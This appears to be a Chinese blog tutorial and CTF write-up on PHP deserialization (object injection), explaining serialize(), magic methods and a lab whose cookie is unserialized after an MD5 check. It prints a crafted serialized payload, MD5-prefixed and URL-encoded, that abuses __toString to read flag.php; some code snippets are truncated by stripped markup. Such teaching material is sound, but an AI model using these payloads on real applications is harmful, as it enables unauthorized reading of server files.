web安全:反序列化(CTF中常见)

一、什么是序列化?

将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中。而反序列化就是将这个过程倒过来。

当在php中创建了一个对象后,可以通过serialize()把这个对象变成一个字符串,保存对象的值方便以后传递使用。

';
print_r($a_ser);
echo '
'; $b = array('xiaoming','xiaohong','ligang','dongqin'); $b_ser=serialize($b); echo "序列化之后的:$b_ser
"; $b_unser = unserialize($b_ser); $a_unser = unserialize($a_ser); echo "反序列化之后的b:"; print_r($b_unser); echo "反序列化之后的a:"; print_r($a_unser); ?>

a的序列化为:O:1:"A":1:{s:4:"test";i:123;}
O:1:"A":1:{s:4:"test";i:123;}
序列化之后的:a:4:{i:0;s:8:"xiaoming";i:1;s:8:"xiaohong";i:2;s:6:"ligang";i:3;s:7:"dongqin";} 
反序列化之后的b:Array ( [0] => xiaoming [1] => xiaohong [2] => ligang [3] => dongqin ) 反序列化之后的a:A Object ( [test] => 123 )

变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}

二、魔术方法(魔术函数 Magic function):一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已

  说白了就是PHP中构造函数,析构函数还有一个__wakeup()函数会被自动调用。

  1. __construct():当对象被创建的时候自动调用,对对象进行初始化。但是在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。
  2. __destruct():当对象被销毁时会自动调用。
  3. __wakeup():unserialize()时会自动调用。
';
    }
    function __destruct(){
        echo '调用了析构函数
'; } function __wakeup(){ echo '调用了苏醒函数
'; } } echo '创建对象a
'; $a = new ABC; echo '序列化
'; $a_ser=serialize($a); echo '反序列化
'; $a_unser = unserialize($a_ser); echo '对象快要死了!'; ?>

创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!调用了析构函数
调用了析构函数

三、反序列化漏洞(本质上是对象注入)

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload,当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

靶场链接:http://59.63.200.79:8010/uns/index.php

HINT:flag就在同目录下的flag.php中(flag in./ flag.php)

靶场源码:

 flag in ./flag.php source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>




Readme

Check Code

首先,通过url栏直接请求flag.php没有报错,也没有回显。说明正如hint所言,确实有一个flag.php在同源目录下。那么我们能不能通过其他方式将flag.php的内容显示出来呢?

这个程序说白了就是,文本域中输入的任何 序列化的内容,都会被反序列化。

tips:

1.的一种简写形式,这样写有时可以绕过一些文件上传的检测.注意:这种写法是错误的。而__toString()这个魔术方法会在对象被echo 或者 = 的时候自动调用(其实凡是对象作为字符串操作时都会自动调用)。

2.cookie在存储时,存储的是url编码后的数据,调用cookie时,会先进行url解码

我们只需要先写一个如下程序:

source, true);
    }
}
if(isset($_GET['source'])){
   $s = new readme();
   $s->source = "flag.php";
   $s = [$s];
   echo serialize($s);
}

//a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//MD5加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//url加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
?>

然后将url加密之后的结果,手动在控制台中设置为cookie值,然后刷新就能得到flag了。

总结:反序列本身很难有巨大威力,必须将反序列化和某个魔术方法想办法结合在一起,才能产生巨大威力

你可能感兴趣的:(Web安全)